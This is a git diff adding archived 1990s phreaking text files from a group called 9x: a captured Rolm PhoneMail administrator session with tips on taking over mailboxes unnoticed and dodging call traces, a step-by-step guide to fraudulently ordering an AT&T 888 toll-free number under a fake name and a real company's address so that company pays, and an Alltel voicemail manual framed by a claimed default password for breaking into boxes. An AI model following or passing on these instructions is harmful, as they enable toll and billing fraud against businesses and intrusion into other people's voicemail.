+Function: SysParameters +Thu Jul 13, 1995 10:34 PM + +Action: ? + +Specify an action - + List Modify + +Action: List + +Passwords Required ? TRUE (Ask for passwords?) +Prompt Repetitions 2 (How many times should PM repeat prompt) +Max PhoneMail ML 300 +StopPrompt TimeOut 3 +Re-Prompt TimeOut 5 +PhoneMail Rev Number 0 +Conn Time Unit Price 1 +Min Conn Time Bill 1 +Outcall Unit Price 100 +Min Outcall Bill 100 +ANR Frequency 10 (Automatic number Retry?) +ANR Retries 2 +Msg Sent Unit Price 1 +Min Msg Sent Bill 1 +Msg Len Unit Price 1 +Min Msg Length Bill 1 +Avg Retn Unit Price 1 +Min Avg Retn Bill 1 +Avg Len Unit Price 1 +Min Avg Length Bill 1 +SA Console Password ########## (System Admin's Console Password!) +1st Level Field PW ########## (unfortunatly they are shadowed) +2nd Level Field PW ########## +Xfer To Extension ? TRUE +Xfer To Extn Prefix +Return To Operator ? TRUE +Name Entry Allowed ? TRUE +Extn Entry Allowed ? TRUE +Enable Outcalling ? FALSE (Not what you think, more on this later) +Play Recorded Names? TRUE +System Wide Vol Ctrl FALSE +Min SA Password Len 8 +Last SA Pswd Change Thu Dec 31, 1992 11:35 AM (hahah) +Extern Access Prefix 9 +24Hour Clock Format? FALSE +Alt Date Format? FALSE +Area Code 518 +Silence Tmout (secs) 10 +Disk Full Thresh (%) 90 +Return to home state TRUE +Check Sub Password TRUE +Transfer Restriction FALSE + + Notice the System Administrators password is shadowed, unfortunatly. +To hack Admins box you must change his password, and hope he doesnt notice :) +Or you can just setup your own box on the system and give yourself admin +access. So it is just best to leave the admins box alone, it will lessen +your chances of being noticed and also make your boxes last *ALOT* longer. + +Note on Outcalling (mentioned above) + + +Outcalling is *NoT* what you think, it is not a way to make free calls, IF +outcalling is enabled (default is not enabled), it is simply a way to have +PM call YOU at a specific location at a specific time and give you your +messages. There is nothing fun or interesting about this lame feature. +So dont get all hard and think your going to get free calls this way, your not + +------------------------------------------------------------------------------ + +Function: Status + +Thu Jul 13, 1995 10:35 PM + +Action: List + +Percent of Disk Used 40 +Number Busy Channels 0 (incoming) 0 (outcalling) 0 (network) +Number Down Channels 0 +Number Disks Mounted 1 +Number of Users 50 +PhoneMail Active? TRUE +Prompt Language English + +------------------------------------------------------------------------------ +Function: NodeParameters + +Thu Jul 13, 1995 10:35 PM + +Action: List + +Forwarded Ext Num 6195 - Extension and last 4 digits of VMB +Direct Ext Num 6197 +Guest Ext Num 6196 +Guest Acc if Unknown FALSE +General Mailbox ? FALSE +General Mailbox Num +Sub Redirect Mode 0 +Internode Xfer Num +Host Link Node UNASSIGNED +Host System ID +Host UserId +Host Link ID +Max Number Of DLists 3000 +SA Access Extension +SA Access Password ########## +PDL Reserved Extn 1 +Pager Display Number xxx6195 +Outcall Max Channels 1 +PhoneMail Operator 6000 +Voice Msg Priority ? TRUE +Min Free Chan - Prty 0 +CP Fixed Extn Length 4 +CP Re-Prompt TimeOut 5 +CP Prompt Repetition 2 +CP PhoneMail Oper. 6000 +ANI Enabled ? FALSE +DLCheck Time Begun Wed Jun 28, 1995 9:15 AM +DLCheck Finish Time Wed Jun 28, 1995 9:15 AM +DLCheck Throttle Val 1 +Volume level of node 3 + +If you want the dialup for the PhoneMail system, look under this option, to +find the #, look at 'Direct Ext Num: 6197' Remember what you dialed for +this Rolm control computer? Well, take that prefix and add on the 4 digits +after the Direct Ext Num, so it could be 445-6197, etc. To be xfered to the +operator you can see it is extension 6000, i wouldnt advise taking over this +box, for obvious reasons. As you can see PM's have ANi, dont enable this +unless your a total lamer. (BTW: ANi = Automatic # identification, in other +words, a fuqing trace) + +------------------------------------------------------------------------------ +Function: RestrictionTbls + +Thu Jul 13, 1995 10:38 PM + +Dial Restriction Table Edit + + 1. Add Table + 2. Modify Table + 3. Delete Table + 4. List Table + 5. Test Table + 9. Exit + +I have no fucking clue what Restriction Tables are, I dont fuq with them, +restricting anything usually sucks, so i dont really care what it is. + +------------------------------------------------------------------------------ + +Function: AssignClasses +Thu Jul 13, 1995 10:39 PM + + AssignClasses Version 1.0 + +<..> + +<> + + +Total Users Total Users Total Users + This Site With New COS Without COS + 48 0 0 + +------------------------------------------------------------------------------ + +Returning to the main System Administration menu +(this could take up to 5 minutes) ... + +(dont ask me why it says it says it takes 5 minutes, it takes about 5 seconds) + + +------------------------------------------------------------------------------ +Function: DList +Thu Jul 13, 1995 10:40 PM + +Action: List + +DList Number: + +Cannot find this form. + + +Unknown at the current time + +------------------------------------------------------------------------------- + +Function: OCConfigAndTest + +Thu Jul 13, 1995 10:41 PM + + +Obtaining a channel...Channel 2 +Fetching DTMF Prompts...OK +Closing channel...OK +Outcalling must be enabled from System Parameters before using this utility. + +Returning to the main System Administration menu +(this could take up to 5 minutes) ... + +------------------------------------------------------------------------------- + +Function: SysParameter +Thu Jul 13, 1995 10:42 PM + +Specify an action - + List Modify + +Action: Modify + +Passwords Required ?: (Previous = TRUE): (Use passwords on boxes?) +Prompt Repetitions : (Previous = 2): 4 (# of X's to repeat prompts) +Max PhoneMail ML : (Previous = 300): 350 +StopPrompt TimeOut : (Previous = 3): 10 +Re-Prompt TimeOut : (Previous = 5): 7 +Conn Time Unit Price: (Previous = 1): (credits charged) +Min Conn Time Bill : (Previous = 1): +Outcall Unit Price : (Previous = 100): 0 (credits for using outcall) +Min Outcall Bill : (Previous = 100): 0 (Automatic # Recall) +ANR Frequency : (Previous = 10): +ANR Retries : (Previous = 2): +Msg Sent Unit Price : (Previous = 1): +Min Msg Sent Bill : (Previous = 1): +Msg Len Unit Price : (Previous = 1): +Min Msg Length Bill : (Previous = 1): +Avg Retn Unit Price : (Previous = 1): +Min Avg Retn Bill : (Previous = 1): +Avg Len Unit Price : (Previous = 1): +Min Avg Length Bill : (Previous = 1): +SA Console Password : (Previous = #): (System Admin Console PW) +1st Level Field PW : (Previous = #): +2nd Level Field PW : (Previous = ##########): +Xfer To Extension ? : (Previous = TRUE): +Xfer To Extn Prefix : (Previous = 0000): +Return To Operator ?: (Previous = TRUE): +Name Entry Allowed ?: (Previous = TRUE): +Extn Entry Allowed ?: (Previous = TRUE): +Enable Outcalling ? : (Previous = FALSE): +Play Recorded Names?: (Previous = TRUE): +System Wide Vol Ctrl: (Previous = FALSE): +Min SA Password Len : (Previous = 8): +Extern Access Prefix: (Previous = 9): +24Hour Clock Format?: (Previous = FALSE): +Alt Date Format? : (Previous = FALSE): +Area Code : (Previous = 518): (Area code PM is located in) +Silence Tmout (secs): (Previous = 10): +Disk Full Thresh (%): (Previous = 90): +Return to home state: (Previous = TRUE): +Check Sub Password : (Previous = TRUE): +Transfer Restriction: (Previous = FALSE): + + +As you can see SysParameter is the hub (excuse the pun) of the Rolm Phonemail +system. With it one can Chage SA passwords, and basically configure the +entire Voice mail box system to their prefrence. PM is the most confiugrable +VMB system i have ever scene. What other VMB lets you change the amount of +times it should repeat prompts? NONE that i know of. Even though outcalling +is basically lame (to the hp community) it is very useful to have if you want +to get your messages w/o calling up. + + +------------------------------------------------------------------------------ + +Function: MonitorLogon +Thu Jul 13, 1995 11:34 PM + + +Start monitoring user access attempts +Press to exit monitor mode... + +Exit monitor mode. + +This option when it is waiting informs the administrator of all logins and +login attempts on the system. It does not display passwords or any other +important info. + + +------------------------------------------------------------------------------ + +Function: Export +Thu Jul 13, 1995 11:36 PM + + + + Export Data Utility Version 1.0 + + +Querying Nodes. +Node #1 has responded. +Destination ? +Response required + +Options are: + +Diskette FileTransfer + +Destination ? ; + +Export exiting...done. + +Please enter valid password: + +Invalid password. + + +Unknown... (too bad i dont have a manual :(). I think it could possibly +be where it writes the log file to disk.. not sure tho. + +------------------------------------------------------------------------------ + + + +Function: Logout + +Thu Jul 13, 1995 10:45 PM + +Logs the user off the PM system + +------------------------------------------------------------------------------ + +Function: ClassOfService +Thu Jul 13, 1995 10:54 PM + +Action: Add + +Class Number : 1234 + +Invalid COS number +Class Number : 1 +Class Name : (Default = ): +Max Number Msgs : (Default = 10): +Max Future Dlv Msgs : (Default = 5): +Max Msg Length : (Default = 200): +Max Number Greetings: (Default = 1): +Int/External Pair? : (Default = TRUE): +Max Greeting Length : (Default = 200): +Sub Recorded Names? : (Default = TRUE): +Min Sub Password Len: (Default = 0): +Max Access Attempts : (Default = 5): +Attempt Threshold : (Default = 0): +Send Broadcast? : (Default = FALSE): +Receive Broadcast? : (Default = TRUE): +Max Num PDLs Allowed: (Default = 5): +LDN Exped DL Enable : (Default = FALSE): +LDN Normal DL Enable: (Default = TRUE): +HostLink Subscriber?: (Default = FALSE): +Enable Outcalling? : (Default = FALSE): TRUE +Xfer from Outcall? : (Default = FALSE): TRUE +Restriction Table : (Default = 0): +Min Outcall Freq : (Default = 0): +RNA Retry Freq : (Default = 15): +Busy Retry Freq : (Default = 5): +Max Num RNA Retries : (Default = 3): +Max Num Busy Retries: (Default = 5): +Paging Lang String : (Default = 0): +Pager Terminal Num : (Default = ): +AMIS Intl Dlv Ena? : (Default = FALSE): +AMIS Delivery Ena? : (Default = TRUE): + + If you wish to exit, type ";". +First Field of Form: +Class Name : (Previous = ): SMITH +Max Number Msgs : (Previous = 10): 25 +Max Future Dlv Msgs : (Previous = 5): +Max Msg Length : (Previous = 200): +Max Number Greetings: (Previous = 1): +Int/External Pair? : (Previous = TRUE): +Max Greeting Length : (Previous = 200): ; + +Done. +Class Number : + Unexpected value +Class Number : + Unexpected value +Class Number : 0 + +COS already exists +Please retry. +Class Number : 3 +Class Name : (Previous = ): ; + +Done. +Class Number : + Unexpected value + +Class Name : (Previous = ): +Max Number Msgs : (Previous = 10): +Max Future Dlv Msgs : (Previous = 5): +Max Msg Length : (Previous = 200): +Max Number Greetings: (Previous = 1): +Int/External Pair? : (Previous = TRUE): +Max Greeting Length : (Previous = 200): +Sub Recorded Names? : (Previous = TRUE): +Min Sub Password Len: (Previous = 0): +Max Access Attempts : (Previous = 5): +Attempt Threshold : (Previous = 0): +Send Broadcast? : (Previous = FALSE): +Receive Broadcast? : (Previous = TRUE): +Max Num PDLs Allowed: (Previous = 5): +LDN Exped DL Enable : (Previous = FALSE): +LDN Normal DL Enable: (Previous = TRUE): +HostLink Subscriber?: (Previous = FALSE): +Enable Outcalling? : (Previous = FALSE): +Xfer from Outcall? : (Previous = FALSE): +Restriction Table : (Previous = 0): +Min Outcall Freq : (Previous = 0): +RNA Retry Freq : (Previous = 15): +Busy Retry Freq : (Previous = 5): +Max Num RNA Retries : (Previous = 3): +Max Num Busy Retries: (Previous = 5): +Paging Lang String : (Previous = 0): +Pager Terminal Num : (Previous = ): +AMIS Intl Dlv Ena? : (Previous = FALSE): +AMIS Delivery Ena? : (Previous = TRUE): + + If you wish to exit, type ";". +First Field of Form: +Class Name : (Previous = ): +Max Number Msgs : (Previous = 10): +Max Future Dlv Msgs : (Previous = 5): ; + +Done. + +--------------------------------------------------------------------------- +Function: BackupSystem +Thu Jul 13, 1995 11:00 PM + +Beginning backup... + + + + BackupSystem Version 1.4 + + +Your current system configuration contains: + + 1 Node 1 Disk + +The system files will be backed up to diskettes. + +QUIT This backup process may take 1 minutes +and will require approximately 1 diskette. + + +The system administrator must be present to facilitate this process. + +Begin backup to diskettes (y/n)? n + +Backs up the system to disk, not recomended. +------------------------------------------------------------------------------ + +Function: CallProcessing +Thu Jul 13, 1995 11:04 PM + + + + ======== Call Processing Setup Menu ======== + A - Add Call Processing Mailbox Profile + L - List Call Processing Mailbox Profile + M - Modify Call Processing Mailbox Profile + D - Delete Call Processing Mailbox Profile + S - Show Call Processing Mailbox Profiles + E - Expand Call Processing Paths + C - Check Call Processing Consistency + R - Reports for Call Processing + F - Finished (return to SA mode) + +Action: S + +Enter path to show, for all paths: + + Mailbox Mailbox Mailbox Greeting Messages + Path Name Name Type Extn Recorded Waiting + --------- ------- ------- ------- -------- -------- + Collections Collections Menu Entry 7650 Yes ---- + HOLIDAY HOLIDAY Listen Only Entry 5011 Yes ---- + +Action: + + + ======== Call Processing Setup Menu ======== + A - Add Call Processing Mailbox Profile + L - List Call Processing Mailbox Profile + M - Modify Call Processing Mailbox Profile + D - Delete Call Processing Mailbox Profile + S - Show Call Processing Mailbox Profiles + E - Expand Call Processing Paths + C - Check Call Processing Consistency + R - Reports for Call Processing + F - Finished (return to SA mode) + +Action: M + +Mailbox extn []: 7650 +Mailbox extn [7650]: 7650 +Path Name [Collections]: Collections +Mailbox Name [Collections]: Collections +Call processing mailbox type (? for help) [Menu]: ? + + Please enter: + (LO) Listen Only + (LR) Lis/Resp + (M) Menu + +Call processing mailbox type (? for help) [Menu]: Menu +Enable password [False]: False +Entry point [True]: True +Number of times to play greeting [1]: 2 +Greeting replay time (secs) [5]: 5 +Time out transfer type (? for help) [Phone Extn]: ? + + Please enter: + (C) CallProcessing Extn + (P) Phone Extn + (S) Subscriber Profile + (NE) Name or Extn transfer + (NO) Name only transfer + (EO) Extn only transfer + (D) Direct Access + (G) Guest Access + (H) Hangup + +Time out transfer type (? for help) [Phone Extn]: Phone Extn + Transfer extn [5135]: 5135 +Min Sub Password Len [6]: 3 +Max Access Attempts [3]: 3 +Attempt Threshold [3]: 3 +Direct access password (numeric) [######]: ###### +Failed access attempt [1]: 1 +Key 0 transfer type (? for help) [Unused]: ? + + Please enter: + (C) CallProcessing Extn + (P) Phone Extn + (S) Subscriber Profile + (NE) Name or Extn transfer + (NO) Name only transfer + (EO) Extn only transfer + (D) Direct Access + (G) Guest Access + (U) Unused + +Key 0 transfer type (? for help) [Unused]: Unused +Key 1 transfer type (? for help) [Extn only Transfer]: Extn only Transfer + Confirm transfer? [True]: True + Play Intro Prompt? [True]: True +Key 2 transfer type (? for help) [Unused]: Unused +Key 3 transfer type (? for help) [Unused]: Unused +Key 4 transfer type (? for help) [Unused]: Unused +Key 5 transfer type (? for help) [Unused]: Unused +Key 6 transfer type (? for help) [Unused]: Unused +Key 7 transfer type (? for help) [Unused]: Unused +Key 8 transfer type (? for help) [Unused]: Unused +Key 9 transfer type (? for help) [Unused]: Unused + + + +Mailbox extn []: + +Mailbox extn []: ? +**** Invalid Value - Value must be all numeric. + + +Mailbox extn []: 0 +**** Invalid Value - Extension 0 is not allowed. + + +Mailbox extn []: 6000 +**** Extension: 6000 is assigned to a Subscriber. + +Mailbox extn []: 6001 +**** Extension: 6000 is assigned to a Subscriber. + +Mailbox extn []: 5999 +**** Mailbox extn: 5999 does not exist. + +Mailbox extn []: 5796 +**** Mailbox extn: 5796 does not exist. + +Mailbox extn []: ; + +Action: ? + + + ======== Call Processing Setup Menu ======== + A - Add Call Processing Mailbox Profile + L - List Call Processing Mailbox Profile + M - Modify Call Processing Mailbox Profile + D - Delete Call Processing Mailbox Profile + S - Show Call Processing Mailbox Profiles + E - Expand Call Processing Paths + C - Check Call Processing Consistency + R - Reports for Call Processing + F - Finished (return to SA mode) + +Action: A + +Mailbox extn []: 1234 +Path Name []: SYSTEM +Mailbox Name []: SYSTEM +Call processing mailbox type (? for help) [Listen Only]: ? + + Please enter: + (LO) Listen Only + (LR) Lis/Resp + (M) Menu + +Call processing mailbox type (? for help) [Listen Only]: M +Enable password [False]: False +Entry point [False]: False +Number of times to play greeting [2]: 1 +Greeting replay time (secs) [5]: 5 +Time out transfer type (? for help) [Hangup]: Hangup + Play hang up prompt [True]: True +Min Sub Password Len [0]: 3 +Max Access Attempts [5]: 5 +Attempt Threshold [0]: 0 +Direct access password (numeric) [######]: ##### +Key 0 transfer type (? for help) [Unused]: Unused +Key 1 transfer type (? for help) [Unused]: Unused +Key 2 transfer type (? for help) [Unused]: Unused +Key 3 transfer type (? for help) [Unused]: Unused +Key 4 transfer type (? for help) [Unused]: Unused +Key 5 transfer type (? for help) [Unused]: Unused +Key 6 transfer type (? for help) [Unused]: Unused +Key 7 transfer type (? for help) [Unused]: Unused +Key 8 transfer type (? for help) [Unused]: Unused +Key 9 transfer type (? for help) [Unused]: Unused + + + +Mailbox extn []: +Report Action: P + +Enter path to report, for all paths: + + +Call Processing Path Activity Report. + + + Mailbox Mailbox Num of User Default User + Path Name Name Type Extn Accesses Trans Trans HUps + --------- ------- ---- ------- -------- ----- ------- ---- + Collections Collections Menu 7650 29477 16555 11274 1648 + +The preceding report spans the following time period: +From: Mon Aug 1 , 1994 8 :46 a.m. +To: Thu Jul 13 , 1995 11 :11 p.m. + +***************************************************************************** + + +Call Processing Path Activity Report. + + + Mailbox Mailbox Num of User Default User + Path Name Name Type Extn Accesses Trans Trans HUps + --------- ------- ---- ------- -------- ----- ------- ---- + HOLIDAY HOLIDAY Listen 5011 258 0 138 120 + +The preceding report spans the following time period: +From: Mon Aug 1 , 1994 8 :46 a.m. +To: Thu Jul 13 , 1995 11 :11 p.m. + +***************************************************************************** + + +Call Processing Path Activity Report. + + + Mailbox Mailbox Num of User Default User + Path Name Name Type Extn Accesses Trans Trans HUps + --------- ------- ---- ------- -------- ----- ------- ---- + SYSTEM SYSTEM Menu 1234 0 0 0 0 + +The preceding report spans the following time period: +From: **** Statistics not cleared. +To: Thu Jul 13 , 1995 11 :11 p.m. + +***************************************************************************** + +Report Action: ? + + ======== Call Processing Report Menu ======== + P - Path Activity Report + R - Response Mailbox Activity Report + B - Billing Information Report + O - Outcalling Report + A - Access by Hour Summary Report + M - Clear Mailbox Statistics by Path + S - Clear Summary Statistics + F - Finished (return to main menu) + +Report Action: R + +Enter path to report, for all paths: + +Call Processing Response Mailbox Report. + + + Mailbox Mailbox New Old Deleted + Path Name Name Extn Messages Messages Messages Total + --------- ------- ---- -------- -------- -------- ----- +**** No such path. + + +Report Action: B + +Enter path to report, for all paths: + + +Call Processing Billing Information Report. + + + Unit Type Price per Unit Billing Constant + --------- -------------- ---------------- + Connect Time Into PM 1 1 + Connect Time Out of PM 0 0 + Messages Sent 1 1 + Message Len (min) 1 1 + Avg Retention (hrs) 1 1 + +Call Processing Billing Information Report. + + + Path Name Mailbox Name Extension/ + Category Units Price Extended Price + ------------------------------------ ----- ----- -------------- +**** No such path. + + +Report Action: ? + + ======== Call Processing Report Menu ======== + P - Path Activity Report + R - Response Mailbox Activity Report + B - Billing Information Report + O - Outcalling Report + A - Access by Hour Summary Report + M - Clear Mailbox Statistics by Path + S - Clear Summary Statistics + F - Finished (return to main menu) + +Report Action: O + +Enter path to report, for all paths: + +Call Processing Outcalling Report. + + + Total Avg + Num Num Connect Connect + Mailbox Mailbox Succ UnSucc Time Time + Path Name Name Extension Node Calls Calls (Min's) (Min's) + --------- ------- --------- ---- ----- ----- ------- ------- +**** No such path. + + +Report Action: + + ======== Call Processing Report Menu ======== + P - Path Activity Report + R - Response Mailbox Activity Report + B - Billing Information Report + O - Outcalling Report + A - Access by Hour Summary Report + M - Clear Mailbox Statistics by Path + S - Clear Summary Statistics + F - Finished (return to main menu) + +Report Action: A + + +Access by Hour Summary Report. + +From: Mon Jan 3 , 1994 12 :00 a.m. +To: Thu Jul 13 , 1995 12 :00 a.m. + + + Time Number of CP Calls + ---- --------------- + 1:00 am 41 + 2:00 am 20 + 3:00 am 11 + 4:00 am 7 + 5:00 am 12 + 6:00 am 9 + 7:00 am 36 + 8:00 am 207 + 9:00 am 1327 + 10:00 am 2746 + 11:00 am 3334 + 12 noon 3546 + 1:00 pm 3544 + 2:00 pm 3746 + 3:00 pm 3914 + 4:00 pm 4075 + 5:00 pm 3957 + 6:00 pm 3081 + 7:00 pm 2099 + 8:00 pm 1379 + 9:00 pm 914 + 10:00 pm 520 + 11:00 pm 221 + 12 midnite 102 + + Peak Hour 4:00 pm + Peak Hour # of calls 4075 + Total completed Call Processing calls 38848 + Total completed Voice Messaging calls 190466 + Total blocked Call Processing calls 0 + Total blocked Voice Messaging calls 0 + +Report Action: ? + + ======== Call Processing Report Menu ======== + P - Path Activity Report + R - Response Mailbox Activity Report + B - Billing Information Report + O - Outcalling Report + A - Access by Hour Summary Report + M - Clear Mailbox Statistics by Path + S - Clear Summary Statistics + F - Finished (return to main menu) + +Report Action: F + + +As you can see Call Processing sets up boxes, removes boxes, and controls +boxes in general. Im not going to explain every single command, it is easy +enough to set up a box and learn this system. +------------------------------------------------------------------------------ + +Exit Call Processing Menu (Y/N) ? Y + + +Official 9x (nynex) Voice Mail Box (direct, no xfer needed) + + Þ VMB - (8oo)365-4467 Þ + +Substance Þ jcattell@linux.cowland.com +Schizo Man Þ schizo@infosoc.com +D.D. Þ ccomm@phantom.com +firebug Þ firebug@shell.globalone.net diff --git a/textfiles.com/groups/9X/9x_888.txt b/textfiles.com/groups/9X/9x_888.txt new file mode 100644 index 00000000..d6a83f90 --- /dev/null +++ b/textfiles.com/groups/9X/9x_888.txt @@ -0,0 +1,108 @@ +STATION ID - 7047/3.12 + +9x Datakit Network +FOR OFFICIAL USE ONLY + +This is a 9x system, restricted to authorized persons and for +official 9x business only. Anyone using this system, network or data +is subject to being monitored at any time for system administration and +for identifying unauthorized users or system misuse. Anyone using this +system expressly consents to such monitoring and is advised that any +evidence of criminal activity revealed through such monitoring may be +provided to law enforcement for prosecution. + + ßÛ ßÛ ÜßßßÜ ßÜ ßÜ ÛßßÜßßÛ ÜßßßÜ ÜßßßÜ ÜßÛßßßß ÛßßÜßßÛ + Û Û Û Û Û Û Û Û Û Û Û Û + ßÛßßßÛ Û Û Û Û Û Û Û Û Û ÜÜß ÜÛÜÜ Û + Û Û Û Û Û Û Û Û Û Û Û Û ß Û ß Û Û + Üß Üß ßÜÜÜÜß ÜÛß Ûß ÜÛÜ ßÜÜÜÜß ßÜÜÜÜß ÜßÜÜÜÜ ÜÛÜ + + + ÜßßßÜ ÜßßßÜ ÜßßßÜ ÞÝ ÜßßßÜ + ÛÜ Û ÛÜ Û ÛÜ Û ß Û + ÜßßßÛÜ ÜßßßÛÜ ÜßßßÛÜ ßßÜÜ + ÛÜ Û ÛÜ Û ÛÜ Û Û + ßßßß ßßßß ßßßß ßÜÜÜÜß + + For work, Home, or your favorite 911 backdoor + Written by Substance sometime in 96 + + Simple way to get an 888 (toll free) number setup to any valid number + + +Intro: + + I know there was a file already written on getting 800's by Tesla. This +isnt a hell of a lot different, just somewhat easier. + + 888's are the new toll free numbers for 1996. And since it is a new +exchange, there is a HUGE number of 888 #'s available. If you would like +to get an 888 ringing on any number follow these few easy steps and if you +do it right, you'll either A) Get the new 888 # on the phone B) Have to wait +a few days (if the ladies a bitch). + + Now I cant gaurante that these are going to be risk free. But from my +expierences with ATnT, they will never really investigate it. I had an 800 +ringing in on my home voice line for over 4 months, and after it went down, +I never heard a thing from ATnT. Also, if you are setting a toll free +number up to a free internet provider, or a LD BBS, then no one is going to +know you did it anyway. Just dont tell the sysop unless you know he wont +bug out. + + If you set your 888 up and sound believable to the op, chances are, +your new 888 number will last more then 2 months. If you give it to alot +of people, and the 888 is in use all the time, expect it to go down within +the week. A few times ive taken over a VMB system, setup tons of boxes (for +fellow hp ppl) then setup a 888 to the local VMB number. Then i give +every hp person im friends with a box. But they usually only last a week +or 2. Its not advisible. Also 888's to Defcon, Escape.com and 911 +backdoors last a VERY short period of time. Dont even waste your time. + +How to set them up: +------------------ + + To get the 888 number setup you'll need the following information 1st: + (hint: its a good idea to get a valid company name, address and zip + when you are setting them up. If the company is big enough + they might just pay the 888 bill and not notice :) + + 1) Valid Company Name + 2) Your fake name + 3) Valid Company Address (Street Address, City, ST, Zip) + 4) The number you want the 888 to ring in on + 5) (sometimes) a VMB to leave you a msg at + + Call up (800)222-0400, wait to hear the "Welcome to ATnT msg" + + Hit 1 then 3 + + It is a good idea to setup toll free #'s Monday morning, you will get +quickest setup time. When the op comes on (sometimes you'll have to wait a +few minz) Tell her you want a READYLINE 888. Say you know all about it, (to +avoid the prices bullshit). Say you need it expidieted. (Which means do +it on the double) Give her the company name, your fake name, address, +city/st/zip. She'll say hang on, ill try and get you a number. When she +returns, she will either say + +1> "Here is your new 888 number Joe Blow" +2> "Our systems are down now, can i call you back with your # later?" + +If she says 1 then your in luck, ask her when it will be up. Say thanx and +bye. + +If she says 2 say 'Yes no problem, but i am out of town at the +moment" Give her your VMB # (and box #) tell her she can call you there. +(To leave a msg on your VMB you have to explain exactly how to leave a msg, +dont just say 516-334-3421 box 28, say 516-334-3421 hit # then 28 #.) + +It is a good idea to ask what her name, # and extn is (for further abuse, +or incase the 888 doesnt go up for some reason). + + + its az ez az that + + + +9x Production + + diff --git a/textfiles.com/groups/9X/9x_altel.txt b/textfiles.com/groups/9X/9x_altel.txt new file mode 100644 index 00000000..db5258a5 --- /dev/null +++ b/textfiles.com/groups/9X/9x_altel.txt @@ -0,0 +1,340 @@ +STATION ID - 7091/6.411 + +9x Datakit Network +FOR OFFICIAL USE ONLY + +This is a 9x system, restricted to authorized persons and for +official 9x business only. Anyone using this system, network or data +is subject to being monitored at any time for system administration and +for identifying unauthorized users or system misuse. Anyone using this +system expressly consents to such monitoring and is advised that any +evidence of criminal activity revealed through such monitoring may be +provided to law enforcement for prosecution. + + +Ok. This is everything you need to know in hacking Alltel Mobile's +VoiceMail. The default password on all their boxes is 9999. +Here are the dox, word for word. Enjoy! + +by Leper_m +----------------------------------------------------------------------------- + + + Features +-=Basic=- +Accessing your mailbox +Changing your security code +Recording your name +Recording a personal greeting +Playing a message +Recovering deleted messages +Playback mode options + +-=Enhanced=- +All of the Basic Features plus... +Setting up your greeting schedule +Replying to a message +Redirecting a message +Recording and sending a message +Creating a broadcast list +Personal greeting schedule + + + +At a glance + +VOICEMAIL SET UP Press + +To change your security code 8 2 3 + +To record your name response 2 3 3 + +To record your personal greeting 2 2 3 + +To edit a greeting in your schedule 2 2 7 + +To activate your greeting schedule 2 2 8 + +To change your playback mode 8 8 3 + +SENDING AND RECEIVING MESSAGES + +To play a message 1 + +To save and play the next message 2 + +To reply to a message 3 + +To redirect a message 7 + +To create and send a message 3 + +Accessing your VoiceMail + +1. Access your VoiceMail + From a cellular phone press + # 9 9 Send. + From a landline phone dial your + cellular phone number, which will + automatically transfer to your voice + mail and press # when greeting begins. + +2. Enter your security code. + +Creating/Changing your security code + +1. Access your VoiceMail. + +2. Press 8 for Personal Options. + +3. Press 2 3 to change your security code. + + * Note: Your security code can contain 1 to 7 digits. + +Recording your name + +1. Access your VoiceMail. + +2. Press 2 for your Greeting Menu. + +3. Press 3 3 to record your name. + +4. Record your name, finish by pressing #. + + Options + Press 3 1 to play your name. + Press 3 3 to erase and re-record your name. + +Recording a personal greeting + +1. Access your VoiceMail + +2. Press 2 for Greeting Menu. + +3. Press 2 1 to play your greeting. + +4. Press 2 3 to record your greeting, + record your greeting, finish by pressing #. + +Playing a message + +1. Access your VoiceMail. + +2. Press 1 to play your messages. + +3. Message will play. + Options + Press 1 to keep this message + as new and play the next. + Press 2 to save and play the + next message. + Press 3 to reply to a message. + Press 4 4 to replay a message. + Press 5 to erase a message. + Press 7 to redirect the message. + +Press 8 8 3 from the main +menu to choose a playback mode.* +Continue to press 8 3 until the +desired playback mode is selected. + + * Note: The system has three playback modes: + normal, automatic, and simplified. + +Recovering deleted messages + +To recover a message that has been deleted: ** +Press * 1 to go to the main menu, +Press * 4 to recover all deleted messages. + + ** Note: Deleted messages can only be recovered + before you exit the mailbox. + +Replying to a message + +From the Play Menu: + +1. Press 3 during or after a message. + +2. Record your reply finish by pressing #. + +3. Press 3 to continue recording a voice message. + + Press 5 to erase a message. + + Press 7 to select a special delivery option. + +4. Press 9 to address the message. + + If sent from a subscriber's mailbox, + + the reply with be automatic. If not, enter + + the mailbox number. + +Redirecting a message + +From the Play Menu: + +1. Press 7 during or after a message. + +2. Press 3 to continue recording a + + voice message. + + Press 5 to erase a voice comment. + + Press 7 to select a special delivery + + option. + + Press 8 to play the original message. + +3. Press 9 to address the redirected message. + + Enter: + + a. mailbox number + b. broadcast list number. + +Recording and sending a message + +1. Access your VoiceMail. + +2. Press 3 to record a message. + +3. Record your message finish by + + pressing #. + + Press 3 to continue recording a + + voice message. + + Press 4 4 to review the + + recorded message. + + Press 5 to erase a message. + + Press 7 to select a special + + delivery option. + + Press 1 to mark a message urgent. + + Press 2 to mark a message confidential. + + Press 3 to select notification of non-delivery. + + Press 4 for future delivery. + + Press 5 to delete special delivery tags. + +4. Press 9 to address a message. + + Enter: + + mailbox number + + broadcast list + 0 + last name - 0 + first name + +Creating or editing a broadcast list + +1. Access your VoiceMail. + +2. Press 6 to access your broadcast list. + +3. Press 3 to create or edit a broadcast list. + +4. Enter a one- or two-digit broadcast + + list number. If new list, select any one- + + or two- digit number. If editing, enter + + the one- or two- digit number assigned. + +5. Enter all of the destinations. + + Press # after each destination entry. + + (destinations can be mailbox + + number or broadcast list numbers.) + +6. Press 7 3 to record a name for + + your broadcast list. + +7. Press # when finished. + +Setting up your greeting schedule. + +1. Press 2 from main menu. + +2. Press 2 6 to select your active greeting. + +3. Enter the greeting number you want active. + +4. Press 2 7 to edit a greeting. + +5. Enter the greeting number to be edited. + + Press 1 to play the current greeting. + + Press 3 to record a greeting. + + Press 5 to erase the greeting. + + Press 7 to change the time + + interval for this greeting. + + Press 8 to review the time interval + + for greeting. + +6. Press 2 8 to activate/deactivate + + your greeting schedule. + +Message waiting notification + +1. Press 8 for Personal Options menu. + +2. Press 6 for Notification Options. + +3. Press 1 to play notification telephone number. + + Options + + Press 6 to enable/disable + + message notification. + +AT ANY TIME DURING A MESSAGE PRESS + +To rewind by 6 seconds 4 + +To rewind to the beginning of a message 4 4 + +To fast forward by 6 seconds 6 + +To fast forward to the end 6 6 + +of the message + +To replay the date and time stamp 8 8 + +To stop and function # + +To return to the main menu * 1 + +----------------------------------------------------------------------------- + +Good luck hacking. + +-- Leper Messiah + diff --git a/textfiles.com/groups/9X/9x_bbox.txt b/textfiles.com/groups/9X/9x_bbox.txt new file mode 100644 index 00000000..737f6de5 --- /dev/null +++ 